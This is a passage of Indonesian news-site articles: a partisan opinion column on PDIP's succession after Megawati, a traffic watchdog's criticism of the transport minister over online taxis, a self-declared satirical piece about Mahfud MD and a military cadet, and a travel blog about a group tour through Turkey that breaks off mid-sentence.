Puan atau Prananda ini tak mungkin memakai nama Soekarno. Agak aneh kalau Puan dan Prananda disoekarnokan menjadi Puan Soekarnocucu atau Prananda Soekarnocucu. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Megawati Soekarnoputri dipaksakan dan diikhlaskan lagi menjadi ketua umum PDIP. Itulah yang terjadi di Kongres ke-5 Partai Banteng di Bali, Kamis (9/8/2019). Kok bisa “paksa” dan “ikhlas” berada di satu situasi? Tentu saja bisa. Khususnya di PDIP. Di habitat Banteng ini, Megawati adalah “queen that can do everything”. Beliau adalah Ratu yang bisa melakukan apa saja. Di kerajaan partainya. Jadi, kalau beliau dipaksakan menjadi ketua umum lagi, maka dia harus diikhlaskan untuk jabatan itu. Dengan demikian, “paksa”dan “ikhlas” adalah dua kata yang berlawanan makna, tetapi tidak pernah bertentangan di lingkungan PDIP. Semoga tidak membingungkan. Baik. Kongres di Bali didominasi oleh kesoekarnoan ketua umumnya. Dari sini terbaca bahwa partai itu tidak punya kepercayaan diri untuk berjalan tanpa nama Soekarno. Mereka masih akan mengandalkan DNA politik presiden pertama itu. Lantas, apa yang bisa digambarkan tentang masa depan PDIP setelah pimpinan tertingginya berganti dan tidak bisa menyandang nama Soekarno? Secara umum, parpol-parpol yang mengandalkan ketokohan atau karisma seseorang, akan terancam gulung tikar. Mereka akan mengecil dari pemilu ke pemilu. Tak terkecuali PDIP. Partai ini akan mengalami kesulitan ketika, suatu hari nanti, tidak lagi dipimpin oleh Megawati. Mereka sudah bisa merasakan ini, Itulah sebabnya Bu Mega masih dipaksa atau terpaksa menjadi ketua umum lagi. Bu Mega dipaksa atau memaksakan diri karena misi beliau belum selesai. Yaitu, memindahkan saham mayoritas Bu Mega di PDIP kepada salah seorang anak beliau. Puan Maharani atau Prananda Prabowo. Yang menjadi masalah, kalaupun transfer saham mayoritas itu bisa dilakukan kepada Puan atau Prananda, mereka ini diperkirakan tidak akan memiliki otoritas pribadi yang bisa menyamai Bu Mega. Dan sangat tak mungkin menyulap Puan atau Prananda menjadi figur yang diandalkan sebagai ‘vote getter’ (pengumpul suara) dalam waktu singkat. Megawati telah melakukan ini sejak pemilu 1999. Sampai detik ini, hanya Megawati dengan embel-embel Soekarnoputri-nya yang bisa menyulut grass-root (akar rumput) “versi pokok-e” untuk terus mendukung Banteng. Ke depan nanti, basis massa “versi pokok-e” akan semakin mengecil jumlahnya sejalan dengan pertumbuhan di bidang pendidikan dan intelektualitas. Ini bermakna bahwa kesoekarnoan pimpinan PDIP hampir pasti tidak bisa lagi diandalkan untuk menambang suara di masa-masa selanjutnya. Meskipun, misalnya, Bu Mega bisa bertahan 50 tahu lagi di kursi ketua umum dengan Soekarnoputri-nya. Nah, apalagai kalau Bu Mega digantikan oleh Puan atau Prananda. Mereka ini tak mungkin memakai nama Soekarno. Agak aneh kalau Puan dan Prananda disoekarnokan menjadi Puan Soekarnocucu atau Prananda Soekarnocucu. Sudah bisa diperkirakan bagaimana postur Banteng nantinya kalau Puan Maharani atau Prananda Prabowo memimpin PDIP. Akan sangat berat jika sistem dinasti dikukuhkan sebagai model kepemimpinan partai. Inilah yang tampaknya merisaukan Bu Mega dan para senior partai. Di satu sisi, Mega ingin agar anak-anak beliau memimpin PDIP. Tetapi, di sisi lain, Mega sadar bahwa embel-embel Soekarno tidak bisa disematkan ke kedua cucu proklamator itu. Jadi, ada dua faktor yang membuat PDIP unggul saat ini. Pertama, akar rumput “versi pokok-e” yang relatif masih besar jumlahnya. Kedua, nama Megawati yang menyandang Soekarnoputri. Seperti disebutkan tadi, kedua faktor penentu ini akan segera sirna. Tak terelakkan. PDIP akan kehilangan “drive” untuk tetap bisa mempertahankan keunggulannya. Bahkan, sangat mungkin akan mejadi partai yang gulung tikar. Dalam arti, blok-blok politik dinasti yang unggul hari ini akan berubah menjadi partai gurem, partai 5 persenan. Megawati sendiri, dulu, muncul menjadi tokoh karena ‘dibesarkan’ oleh penindasan era Orde Baru. Penindasan terhadap PDIP membuat Mega menjadi ‘pahlawan’. Kepahlawanan itulah yang kemudian membawa keberuntungan bagi PDIP. Partai ini langsung menang hampir 34% di pemilu 1999, pemilu pertama era Reformasi. Golkar tergeser ke posisi kedua dengan perolehan suara 22.5%. Tetapi, di pemilu 2004, PDIP hanya merebut 18.5%. Golkar malah di urutan teratas dengan perolehan 21.5%. Penurunan drastis perolehan suara PDIP dari 34% di tahun 1999 menjadi 18.5% di tahun 2004 menunjukkan bahwa dukungan besar kepada PDIP itu hanya “protest vote” (suara protes) terhadap para penguasa otoriter saat itu. Suara besar PDIP pada pemilu 1999 itu tak bertahan. Setelah ini, Banteng tak pernah mencapai di atas 20% di pemilu-pemilu berikutnya. Pada pileg 2019, PDIP memperoleh 19.3%. Perolehan besar ini sangat disangsikan kemurniannya. Patut diduga, PDIP bisa menduduki posisi teratas karena banyak melakukan praktik yang bertentangan dengan asas-asas pemilu. Mereka leluasa melakukan itu karena sedang memegang kekuasaan. Kembali ke peralihan kepemimpinan dari Mega kepada kedua anak beliau. Proses transfer kepemilikan PDIP pasti bisa lancar. Tidak akan ada yang berani menentang kalau Bu Mega mendudukkan Puan atau Prananda sebagai ketua umum. Sangat mudah. Sebab, PDIP tidak beda dengan “perusahaan keluarga” yang mayoritas sahamnya dipegang oleh Bu Mega. Artinya, orang-orang yang disebut kader atau politisi di situ sama seperti pegawai perusahaan. Mereka bisa dipromosikan atau didemosikan kapan saja oleh pemilik perusahaan. Tidak ada yang bisa mencegah atau berkeberatan. Tidak ada rapat umum pemegang saham (RUPS). Dalam arti, tidak ada suara lain di PDIP kecuali suara Bu Mega. Beliau adalah suara tunggal. Apa saja gagasan, usulan, atau keputusan di lingkungan partai bisa diveto oleh Ibu Ketum. Sebaliknya, apa saja yang diinginkan Bu Mega, harus dilaksanakan. Kalaupun ada rapat, munas, kongres, dll, itu hanya sekadar menjabarkan AD/ART saja. Proforma belaka. Di era post-millenial, anak-anak muda Indonesia tidak akan menoleh ke parpol “perusahaan keluarga” model PDIP. Generasi penerus tak akan ‘nyambung’ dengan praktik seperti itu. PDIP akan tergerus dengan sendirinya. Diperkirakan, inilah awal dari stagnasi perolehan suara yang kemudian memburuk menjadi penciutan secara konstan. Banteng akan semakin kurus. PDIP akan mengalami deflasasi pengikut dan pemilih dari pemilu ke pemilu. Itulah ancaman gulung tikar kalau para pemimpin di partai ini tidak segera melakukan tindakan radikal. Tindakan yang indektik dengan mentalitas generasi muda post-millenial yang sangat kontras dengan watak para politisi ‘old-style’ (model lama) yang bermentalitas korup (corrupt mentality). Jadi, dengan cara pengelolaan yang ada saat ini, PDIP kelihatannya tidak akan bisa bertahan lama. Partai-partai lain yang akan mengalami nasib yang sama termasuk Partai Demokrat, Partai Gerindra, Partai Nasdem, dan PKB. Sedangkan Hanura dan PPP sudah lebih dulu mengerdil. Diperkirakan, hanya Golkar dan PKS yang bisa bertahan karena mereka tidak bersandar pada ketokohan satu-dua orang. Mereka adalah partai yang rasional dengan sistem siapa bagus dia naik (merit system). Bukan karena suka atau tak suka pimpinan. PKS, khususnya, akan menjadi partai modern yang mengkombinasikan pembinaan mentalitas mandiri dengan loyalitas, antikorup dan antikarat. Kalau PKS konsisten sebagai partai prorakyat, dan pemilu berjaan tanpa kecurangan, mereka berpeluang untuk menjulang tinggi. End

Menhub Jangan Jadi Juragan Taksi Online

Jakarta, FNN - Indonesia Traffic Watch (ITW) mengingatkan Menteri Perhubungan (Menhub) agar tidak bersikap seperti juragan taksi online. Semua mobil berpelat pribadi atau hitam harus taat pada ketentuan ganjil-genap (Gage). "ITW menyayangkan keinginan Menhub Budi Karya Sumadi yang meminta agar taksi online mendapat pengecualian dari kebijakan Gage, "ujar Ketua Presidium ITW Edison Siahaan kepada wartawa di Jakarta, Rabu (14/08). Ditambahkan, posisi Menhub sudah seperti juragan taksi online. Menhub ingin memperkeruh kondisi lalu lintas ibukota Jakarta. Sekaligus upaya Menhub untuk menutupi kegagalannya mengurus angkutan umum berbasis aplikasi. Edison menghimbau Menhub agar membaca dan mempelajari dulu undang-undang No. 22 tahun 2009 tentang lalu lintas dan angkutan jalan. Supaya Menhub paham apa itu syarat dan ketentuan yang harus dipenuhi oleh kendaraan bermotor yang digunakan sebagai angkutan umum. ITW memastikan bahwa kesemrautan, kemacetan lalu lintas khususnya di Ibukota juga dipicu akibat kegagalan Menhub. Karena Menhub membiarkan. kendaraan pribadi beroperasi sebagai angkutan umum. Akibatnya jumlahnya kini semakin membludak dan tak terkendali. "ITW menuntut tanggungjawab Menhub terkait dengan pelaksanaan Permenhub No. 32 tahun 2016 dan Permenhub No. 26 tahun 2017 serta Permenhub No. 108 tahun 2017, tentang angkutan umum dengan kendaraan bermotor roda empat berbasis aplikasi, "ujar Edison Siahaan. Ketiga Permenhub tersebut tidak mempunyai efek yang signifikan untuk menyelesaikan masalah angkutan umum berbasis aplikasi. Ribuan kendaraan bermotor belum memenuhi syarat sebagai angkutan umum. Namun sekarang bebas beroperasi. Bahkan jumlahnya terus bertambah, sehingga membuat ruas jalan Ibukota dan sekitarnya semakin sesak. "Belakangan Menhub juga kembali membuat kebijakan yang melanggar aturan. Lewat kebijakan Permenhub No. 12 tahun 2019 tentang keselamatan sepeda motor yang digunakan untuk kebutuhan masyarakat, " kata Edison Siahaan. Padahal Mahkamah Konstitusi lewat putusannya Nomor 41/PUU-XVI/2018 menolak permohonan judicial riview yang diajukan oleh puluhan pengemudi Ojek Online (Ojol) ke Mahkamah Konstitusi (MK) agar UU No. 22 tahun 2009 mengakomudir sepeda motor sebagai angkutan umum. "Sebaiknya Menhub menyampaikan data dan informasi yang akurat. Berapa jumlah angkutan umum berbasis aplikasi yang sudah memenuhi syarat sesuai ketentuan yang berlaku. Jangan langsung menuntut equality, tetapi keberadaanya illegal, "pinta Edison Siahaan.

Info Tak Valid: Mahfud MD Minta Diangkat Menjadi KSAD

Sekarang, publik sudah paham apa yang terjadi. Alangkah naifnya Pak Mahfud MD yang terlalu cepat mengumbar pernyataan bahwa TNI kecolongan. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Menyusul keputusan KSAD Jenderal Andika Perkasa untuk mempertahankan Enzo Zenz Allie sebagai taruna akademi militer (akmil) di Magelang, tersiar kabar kabur bahwa Mahfud MD meminta agar dia diangkat menjadi KSAD. Perkembangan dramatis ini terjadi karena Mahfud, menurut kabar burung, berkeras agar Enzo tetap dipecat dari daftar calon taruna. Disebutkan, Mahfud perlu satu hari saja menjadi KSAD. Hanya untuk memecat Enzo. Sumber-sumber yang tak bertanggung jawab menyebutkan bahwa Mahfud mengancam akan pindah ke negara lain jika Enzo tidak dikeluarkan dari akmil. Menurut info tak valid, Mahfud meminta agar dia segera dilantik menjadi KSAD supaya bisa mengambil tindakan tegas untuk memecat Enzo. Mahfud benar-benar kesal melihat kecolongan yang terjadi di lingkungan TNI. Mahfud mengatakan di Yogyakarta, Jumat (9/8/2019) bahwa TNI kecolongan dengan lolosnya Enzo masuk ke akmil. Mahfud memang sangat sigap mengeluarkan statement. Lebih tangkas dari para petinggi militer dan Hankam dalam hal Enzo. Ketika para petinggi TNI AD berhati-hati menangani kasus Enzo yang disebut-sebut punya kemungkinan keterkaitan dengan HTI, Mahfud malah langsung menyimpulkan TNI kecolongan. Seperti diketahui, Enzo Zenz Allie diduga punya foto dengan adegan memegang bendera tauhid yang mirip dengan bendera Hizbut Tahrir Indonesia (HTI). Dari sinilah dia, secara semberono, dikait-kaitkan dengan organisasi yang telah dibubarkan penguasa itu. Kembali ke tuntutan Mahfud MD agar dia diangkat menjadi KSAD. Sejumlah pihak mengusulkan agar dibuatkan acara tentara-tentaraan di halaman sebuah taman kanak-kanak. Di situ, Mahfud MD bisa dipakaikan seregam TNI AD dengan tanda pangkat bintang empat. Kemudian, langsung seorang presiden-presidenan meminpin acara serahterima jabatan “KSAD” dari “Jenderal Andika Perkasa” kepada “Jenderal Mahfud MD”. Setelah itu, “Jenderal Mahfud” dibawa ke kelas utama TK. Di sana telah menunggu “Enzo Zenz Allie” dengan seragam taruna akmil. “Jenderal Mahfud” langsung membacakan surat pemecatan “Enzo”. Kemudian dia mencopot seragam tarunanya. Selesai upacara pemecatan, “Jenderal Mahfud” pun melepas seragam TNI AD yang dipakainya. Hajat telah tertunaikan. Dia kemudian langsung berwudu, dan mengajukan surat pengunduran diri dari Badan Pembinaan Ideologi Pancasila (BPIP). Dia pun tak jadi pindah ke negara lain. Alhamdulillah, pemecatan Enzo Zenz Allie versi Mahfud MD telah berjalan dengan lancar. Begitulah, mungkin, keinginan Mahfud MD. Tapi, TNI memiliki prosedur baku dalam mengambil tindakan terhadap taruna akmil yang bermasalah. KSAD Jenderal Andika Perkasa mengatakan, Enzo dipertahankan sebagai taruna setelah hasil pemeriksaan yang ilmiah berupa analisis moderasi keberagamaan menunjukkan dia lulus. Angka kelulusan analisis moderasi Enzo sangat bagus. Semua taruna baru diperiksa. Enzo mencatat skor 84%. Dalam skala maksimum angka 7, Enzo mendapat nilai 5.9. Skor ini mendekati kesempurnaan. Sekarang, publik sudah paham apa yang terjadi. Alangkah naifnya Pak Mahfud MD yang terlalu cepat mengumbar pernyataan bahwa TNI kecolongan. Semua orang mungkin paham tujuan Pak Mahfud, yaitu menjaga agar NKRI ini aman dari radikalisme. Namun sekarang, pernyataan Mahfud itulah yang justru terlalu radikal. Anda, Prof, nyaris saja menzolimi seorang taruna andaikata kesimpulan Anda tentang kecolongan TNI itu direspon dengan gegabah oleh pimpinan TNI. Untunglah pimpinan TNI, kelihatannya, sudah hafal tentang Mahfud MD. End

Asyiknya Liburan ke Turki

Turki punya banyak atraksi menarik untuk wisatawan. Buat kamu yang mau liburan ke Turki selama seminggu, bisa intip itinerary berikut ini. Oleh Dian Farida Ismyama Turki, FNN -Turki merupakan negara yang memiliki keindahan yang selalu diidamkan para wisatawan. Pemandangannya serta bangunan-bangunan bersejarahnya menarik perhatian traveler mancanegara.Extraordinary traveling pertama saya terjadi sekitar beberapa bulan yang lalu. Pertama, karena saya traveling ke luar negeri yang jaraknya terjauh dari yang pernah saya kunjungi. Perjalanan 15 jam via udara, belum ditambah transit. Turki, negara tujuan saya.Kedua, saya traveling tanpa kenal siapapun karena cuti suami habis untuk umroh di awal tahun. Sehingga saya memilih ikut tour and travel dengan harapan akan ada banyak teman baru. Saya juga memilih wisata halal agar lebih nyaman selama di sana. Walaupun Turki adalah negara dengan 90% mayoritas muslim, tetapi Turki pernah menjadi pusat kerajaan Romawi, Yunani, dan Kristen. Oleh karena itu, banyak tour and travel yang menawarkan destinasi ke spot-spot religi berbagai agama dan keyakinan.Ketiga, saya traveling ke negara muslim Eropa yang mempunyai sejarah dahsyat tentang kejayaan Islam di masa lampau. Sungguh, traveling ke Turki merupakan bagian dari dream destination. Negara ketiga yang ingin saya kunjungi setelah Makkah-Madinah.Keempat, saya traveling dalam keadaan hamil 2 bulan. Sebuah kondisi yang tidak disengaja dan tidak disangka-sangka. Saat mendaftar wisata Turki, saya belum hamil. Begitu akan berangkat, ternyata saya sudah positif hamil 6 minggu. Saya tetap bersyukur meski mual muntah dan masuk angin mendera selama di Turki.Persiapan ke Turki pernah saya tulis di sini. Kali ini, saya ingin bercerita lebih detail mengenai rencana perjalanan selama 10 hari di Turki. Total perjalanan 2 hari pulang-pergi sehingga dapat disimpulkan waktu efektif di Turki adalah 8 hari.Selama 8 hari, saya dan teman-teman tour and travel berkeliling ke 7 kota yaitu Istanbul, Bursa, Kusadasi, Pamukkale, Konya, Cappadocia, dan Ankara. Ketujuh kota ini tidak semuanya berdekatan. Ada jarak antar kota memakan waktu 4-6 jam menggunakan bus. Saya akan berbagi pengalaman unik dan seru yang merupakan highlight dari 7 kota tersebut. Dimulai dari Istanbul, mantan ibukota Turki.Mungkin tak banyak yang tahu bahwa Istanbul berada di antara dua benua yaitu Asia dan Eropa. Keduanya dipisah oleh jembatan di bagian darat, atau Selat Bosphorus di bagian lautnya. Laut Marmara berada di Turki sisi Asia. Sedangkan Laut Hitam berada di Turki sisi Eropa.Dulu, Istanbul merupakan ibukota Turki, hingga kemudian berpindah ke Ankara. Mirip-mirip dengan New York dan Washington. Saya dan rombongan sampai di bandara Turki pada siang hari dan kami langsung bertolak ke Blue Mosque.Sebelumnya, makan siang terlebih dahulu di restoran lokal. Pertama kalinya saya menyantap hidangan khas Turki yang terdiri dari makanan pembuka, makanan utama dan penutup. Appetizernya yaitu salad sayur dengan topping minyak zaitun, pomegranat dan lemon sehingga terasa segar. Selanjutnya, terhidang roti tawar agak keras yang harus dicelup sup terlebih dahulu.Menu utamanya adalah daging ayam panggang yang disajikan bersama nasi. Lalu, penutupnya adalah buah-buahan seperti potongan apel dan jeruk yang dihidangkan di piring. Yang membuat rindu dengan Indonesia adalah teh hangat. Apalagi cuaca Turki masih dingin. Air mineral terasa seperti air es.Sesudah makan, kami jalan kaki ke Blue Mosque atau sering disebut sebagai Masjid Sultan Amet. Masjid ini adalah pusat keagamaan abad ke-16 dan satu-satunya masjid di Istanbul dengan 6 menara. Kami masuk ke dalam masjid dan salat di sana. Masjid tersebut luar biasa menurut saya, bagian dalam masjid juga unik.Perjalanan dilanjutkan dengan berjalan kaki hingga melewati Hagia Sofia, tapi tidak masuk. Tur Hagia Sofia akan dilangsungkan di hari terakhir ketika kembali lagi ke Istanbul. Sebagai gantinya, tour guide mengajak kami berkeliling kawasan sekitar Blue Mosque dimana terdapat Obelisk, dan sumur kuno zaman Konstantinopel.Setelah itu, kami menuju ke restoran dengan pemandangan Selat Bosphorus di malam hari. Makan malam di samping Laut Marmara begitu memesona. Lauk yang dihidangkan adalah ikan dengan bumbu minimalis. Malam itu, kami menginap di Istanbul.Paginya, saya dan rombongan bertolak ke Bursa, yakni kota yang berada di ketinggian, sehingga udara cenderung dingin. Persis Kota Malang di Indonesia. Kami mengunjungi Grand Mosque Ulu Cami, masjid terbesar dengan seni arsitektur khas Selcuk Turki yang melambangkan masa kejayaan Kerajaan Ottoman. Saya sempat salat di masjid dengan 40 kubah tersebut. Sekeliling masjid terdapat taman dengan air mancur yang menyegarkan. Selain itu juga terdapat para penjual souvenir Turki.Dari masjid, kami menuju Turkish Delight Factory untuk mencicipi kudapan khas Turki yang terbuat dari campuran buah dan gelatin yang merupakan oleh-oleh khas Turki. Setelah makan siang di restoran lokal, kami melanjutkan perjalanan ke Green Mosque & Green Tomb (Yesil Cami), masjid yang di bangun oleh Sultan Mehmet I tahun 1424. Masjid ini dinamakan Green Mosque karena menggunakan keramik berwarna hijau di dalamnya. Indah sekali.Saat berada di Green Mosque, saya dan rombongan bertemu dengan imam masjid. Ia menanyakan apakah kami musafir atau bukan. Ketika kami menjawab iya, ia meminta doa dan memimpin doa bersama kami. Menurutnya, doa musafir dikabulkan.Tak jauh dari masjid, terdapat Koza Han (Silk Market) yang merupakan pasar dan pusat perbelanjaan kain sutra khas Turki. Saya justru membeli syal hangat, pembatas buku dan hiasan dinding. Hari itu ditutup dengan perjalanan ke kota lain yaitu Kusadasi.Yang paling terkenal di Kusadasi adalahi Ephesus Ancient City, yaitu sebuah reruntuhan kota tua peninggalan Romawi Kuno yang namanya tersohor ke seantero dunia. Saya pribadi sangat tercengang melihat Ephesus. Kok bisa ya, zaman dahulu orang-orang Romawi membangun bangunan tinggi dan simetris dari bebatuan seperti marmer. Bagaimana caranya?Ephesus memang terkenal sebagai kota marmer. Letaknya yang dekat dengan Laut Marmara yang berarti banyak mengandung bahan marmer, menjadikannya mudah ditemukan di Ephesus. Para seniman Romawi mengubah bahan tersebut menjadi patung-patung nan indah.Dulunya, Ephesus adalah kota Yunani, sehingga saya dan rombongan juga menemukan patung dewa-dewi Yunani di sini. Ada Dewa Arthemis yang merupakan dewa Ephesus yaitu dewa yang melambangkan kesuburan, dan kekayaan. Ada juga Dewa Nike, yang melambangkan victory atau kemenangan.Saya juga melihat kemegahan Celcius Library. Perpustakaan terbesar di zamannya. Ada juga grand teater yang dapat menampung 25 ribu orang sehingga diperkirakan penduduk Ephesus adalah 4 kalinya yaitu 100 ribu orang. Wah, jumlah yang besar, bukan?Selanjutnya, kami diajak melihat fashion show di Leather Factory Showroom yang menampilkan produk kulit berkualitas tinggi yang dibuat di Turki. Secara harga lumayan, bernilai ratusan dolar. Topi kulit seharga 200 dolar, dan jaket kulit minimal 400 dolar. Sebuah harga yang belum terjangkau oleh saya.Setelah makan siang, perjalanan dilanjutkan ke Pamukkale. Kami sampai di Pamukkale malam hari sehingga langsung makan malam dan menuju kamar untuk tidur. Paginya, beberapa orang di rombongan menaiki balon udara di Pamukkale, karena katanya balon udara sedang tidak diizinkan terbang di Cappadocia.Saya sendiri memilih untuk bersantai di hotel yang dinginnya sampai membuat tangan dan perut nyaris beku. Harga naik balon udaranya sangat mahal 230 USD atau sekitar Rp 3,2 juta rupiah. Sebenarnya sih saya sangat ingin. Tapi saya ingin naik balon udara di Cappadocia dan sayangnya saat itu uang saku saya mepet. Kalau naik hot air ballon, dapat dipastikan saya enggak bisa beli oleh-oleh, enggak bisa jajan juga.Setelah para peserta balon udara kembali ke hotel, rombongan menuju Hierapolis Ancient City dan menjelajahi Cotton Castle. Tempat ini adalah sebuah situs warisan dunia, yang terbuat dari teras dan kolam putih yang menarik. Cotton Castle terbuat dari perairan panas berkapur yang mengalir menuruni gunung.Masyaa Allah, indah sekali kolam putihnya. Seolah berada di hamparan salju, tetapi ketika kaki memasuki air, ternyata air hangat. Udara dingin yang menerpa jadi tidak terlalu terasa. Tapi hati-hati ketika melangkah di kolam. Karena kolam ini asli dari alam sehingga bagian dasarnya ada yang berlumut dan licin. Ada pula yang tajam penuh batuan kecil-kecil seperti karang. Intinya, sebagai peserta tur, kami saling bantu membantu. Berpegang tangan ketika akan melangkah.Dari Pamukkale, kami akan menuju Cappadocia dengan melewati kota Konya. Kabarnya, Konya adalah kota paling religius di Turki. Ternyata kota ini adalah tempat tinggal Maulana Jalaluddin Rumi.Saya dan rombongan mengunjungi Mevlana Museum. Sebuah museum yang menyimpan semua kisah dan catatan sejarah tentang Rumi, yang di Turki lebih terkenal dengan sebutan Mevlana. Museumnya cukup luas, dengan beberapa bangunan.Terdapat makam, pakaian dan sorban Rumi di dalam museum, serta ada jenggot Nabi Muhammad. Selain itu, ada juga patung-patung yang menggambarkan suasana santri yang belajar menari Sufi zaman dahulu. Mereka tidak hanya belajar menari tapi juga mengaji. Makna di balik tarian Sufi adalah kepasrahan sehingga hanya bisa dilakukan oleh santri yang sudah tingkat tinggi kepasrahannya. Tidak semua santri dapat lolos ke tahap belajar menari Sufi.Kemudian perjalanan dilanjutkan untuk photo-stop di Sultanhani Caravanserai atau Tepesidelik Caravanseray, yaitu tempat di mana para pedagang di masa lalu bertemu dan beristirahat memarkirkan kereta atau karavan mereka di tempat tersebut. Spot foto dengan latar gunung es sungguh memesona. Kami juga sempat membeli oleh-oleh di pusat suvenir di Sultanhani Caravanserai.Perjalanan dilanjutkan ke Cappadocia, sampai di sana kami langsung makan malam dan beristirahat di hotel. Esok harinya setelah sarapan, saya dan rombongan dibawa menyusuri kawasan Underground City of Cardak yaitu kota bawah tanah berbatu seperti dalam kartun the Flinstone.Ruangan di dalam Underground city ternyata cukup dingin. Rumah bawah tanah dibagi menjadi beberapa ruangan seperti dapur, ruang tamu, ruang penyimpanan ternak dan makanan, ruang ibadah, dan sebagainya. Zaman dahulu, mereka menggunakan rumah bawah tanah ketika bersembunyi dari musuh atau binatang buas.Kami melanjutkan perjalanan ke Goreme Valley, sebuah kota di Cappadocia sekaligus sebuah wilayah historis Turki, serta mengunjungi Hand Made Carpet Showroom yang merupakan pusat kerajinan karpet khas Turki. Harga karpet Turki ternyata lumayan. Perbedaan karpet Turki dengan karpet lain adalah pada ikatannya yang double sehingga lebih kuat.Setelah makan siang, saya dan rombongan menuju area photo-stop di Pasabag Valley, Pigeon Valley, dan Uchisar Castle, sebuah istana yang bentuknya seperti sarang tawon besar dengan lubang-lubang dan bendera Turki di puncaknya. Ada area di Cappadocia yang bentuk batu-batunya seperti jamur di Film Smurf, serta yang bentuknya cukup imajinatif, seperti unta dan sebagainya, menarik sekali.Esok paginya, setelah sarapan di hotel, perjalanan dilanjutkan ke Ankara, Ibukota Turki. Pemberhentian pertama adalah Tuz Golu, danau air asin di Ankara. Danaunya seperti pantai dengan pasir yang putih. Pasir tersebut adalah garam yang dapat digunakan untuk kosmetik dan banyak manfaat lain.Setelah makan siang, kami menuju Ataturk Mauseloum. Saya sempat kaget karena museumnya ramai sekali. Ternyata tempat ini digunakan sebagai persemayaman terakhir presiden pertama Turki yaitu Mustafa Kemal Pasha. Saat kami datang, sedang ada kunjungan dari tokoh Pakistan sehingga ia melakukan penghormatan ke makam tersebut.Proses penghormatannya dengan cara mengheningkan cipta selama kurang lebih 30 detik. Semua orang berdiri tanpa bersuara, diiringi alunan musik instrumental. Yang unik, penjaga-penjaga di museum Attaturk berdiri seperti patung, tanpa bergerak sama sekali. Mirip dengan penjaga istana di Inggris yang tersohor keunikannya.Kami makan malam di rumah makan Indonesia dengan lauk sup, ayam goreng, mi goreng lengkap dengan kerupuk dan teh hangat. Lezat sekali. Semua kenyang dan bahagia, siap beristirahat di Istanbul.Keesokannya, setelah sarapan, kami salat Jumat di Blue Mosque. Lalu dilanjutkan berkeliling ke Topkapi Palace yaitu sebuah museum istana dengan koleksi mewah seperti porselen, treasuries, yang merupakan lambang kejayaan masa Kesultanan Ottoman.Topkapi Palace sangat luas. Ada bangunan khusus peralatan dapur, dan gedung khusus peralatan perang yang sangat megah. Terdapat juga museum terkait benda berharga umat muslim seperti kunci Ka'bah, kiswah Ka'bah karena dulu Ka'bah masuk dalam pemerintahan Ottoman. Saya juga sempat melihat tongkat Nabi Musa, pedang Khalid Bin Walid, pedang Ustman bin Affan dan Nabi Daud. Ada juga baju Fatimah, putri Nabi Muhammad. Lantunan Al Qur'an dibacakan sepanjang hari di museum tersebut. Masya Allah, damainya.Selanjutnya, kami menuju Hagia Sophia Museum. Seperti diketahui, Hagia Sofia ini pernah menjadi gereja, lalu menjadi masjid dan akhirnya menjadi museum. Ukiran dan lukisan dari dua agama terlihat di sini. Ada Bunda Maria, Yesus, dan ukiran Nabi Muhammad dan Allah berdampingan di Hagia Sofia. Arsitektur Hagia Sofia memang unik.Hari itu ditutup dengan berbelanja di Grand Bazaar yang merupakan pusat perbelanjaan tertua dan terbesar di Turki. Grand Bazar sungguh memanjakan naluri belanja perempuan. Aneka pernak pernik, perhiasan, pashmina, bahkan turkish delight terdapat di sini, serunya bisa ditawar. Sayang, kami hanya mendapat sedikit waktu saja. Lain kali kalau ke Istanbul dengan backpacker harus ke sini lagi.Esok harinya adalah hari terkahir di Istanbul. Pagi-pagi sekali, kami harus sudah selesai packing dan menyelesaikan sarapan untuk bersiap ke Spice Bazar yang merupakan bazar besar yang menjual bumbu-bumbu dapur khas Turki dan Timur Tengah. Saya tidak turun karena memang tidak berniat membeli bumbu apapun.Selanjutnya, rombongan tour dibawa ke Emirgan Park yang merupakan puncak dari wisata Turki di Bulan April yaitu taman tulip yang terbesar dan terkenal di Turki. Masya Allah, niatnya merasakan kebesaran Ottoman di zamannya, saya mendapat bonus melihat bunga tulip.Tulip-tulip aneka warna bergerombol dengan elegan. Mulai dari tulip putih, merah muda, merah, kuning, oranye, ungu, hingga ada tulip yang warnanya gradasi lebih dari satu warna. Saya bahkan tidak tahu kalau bunga tulip berwarna - warni dan bentuk ketika kuncup dan mekar sama-sama indah.Emirgan Park cukup luas dan kami dilarang menginjak tanah tempat tulip tumbuh. Harapannya agar bunga tulip tidak ikut terinjak. Cukup banyak polisi taman yang berjaga dan mengingatkan untuk berfoto agak jauh dari tanah.Tak lama setelah puas berkeliling Emirgan Park, kami beranjak menuju bus untuk segera ke Bandara International Istanbul-Sabiha Gokcen dan kembali ke tanah air dengan Qatar Airways. Makan siang dilakukan di bus. Begitu juga yang belum sempat salat dhuhur dan asar, dilaksanakan di bus. Perjalanan ke bandara cukup lama karena Istanbul macet seperti Jakarta.Pesawat take-off di malam hari dan tiba di Istanbul Bandara Internasional Hamad Doha sekitar 5 jam kemudian waktu Qatar dini hari. Kami transit kurang lebih 7 jam, kemudian lanjut perjalanan dari Doha pukul 09.15 waktu Doha dan tiba di Bandara Internasional Soekarno Hatta pukul 22:15 WIB malam. Dengan kata lain, berada di pesawat hingga hampir 10 jam. Subhanallah, perjalanan yang panjang, bukan?Sesampainya di Bandara Soekarno Hatta, saya menuju hotel yang sudah dipesan. Esok harinya, barulah saya berangkat dengan pesawat ke Yogya. Jadi, masih ada satu malam untuk beristirahat dan tidak terburu-buru mengejar penerbangan berikutnya. Sementara itu, teman-teman rombongan yang asli Jabodetabek langsung menuju rumah masing-masing.Sungguh, perjalanan ke Turki adalah extraordinary traveling dari semua sisi. Saya tak menyangka cukup kuat bepergian jauh di saat hamil muda. Tanpa keluarga dan teman akrab yang menemani. Semua teman yang saya dapat baru kenal di perjalanan. Mereka sangat membantu dan baik, terutama ketika tahu kalau saya sedang hamil muda. Peserta tour kebanyakan justru pasangan suami istri yang berusia 60 tahun ke atas sehingga mereka paham benar bagaimana rasanya hamil.Dubai, adalah kota berikutnya yang saya impikan. Sebenarnya saya mempunyai saudara yang tinggal di Dubai. Kakek saya asli orang Arab, dan beberapa keluarga jauh masih ada yang tinggal di Arab, termasuk Dubai. Oleh karena itu, jika saya berkesempatan untuk ke Dubai, saya akan bersilaturahmi ke mereka.Yang akan saya lakukan berikutnya ketika di Dubai tentu saja melihat dengan mata kepala sendiri betapa megah dan canggihnya pariwisata Dubai. Saya akan ke Burj Khalifa dan melihat pemandangan Dubai dari atas dan menyaksikkan Dubai Fountain.Dubai Fountain mendapat gelar sebagai air mancur paling besar 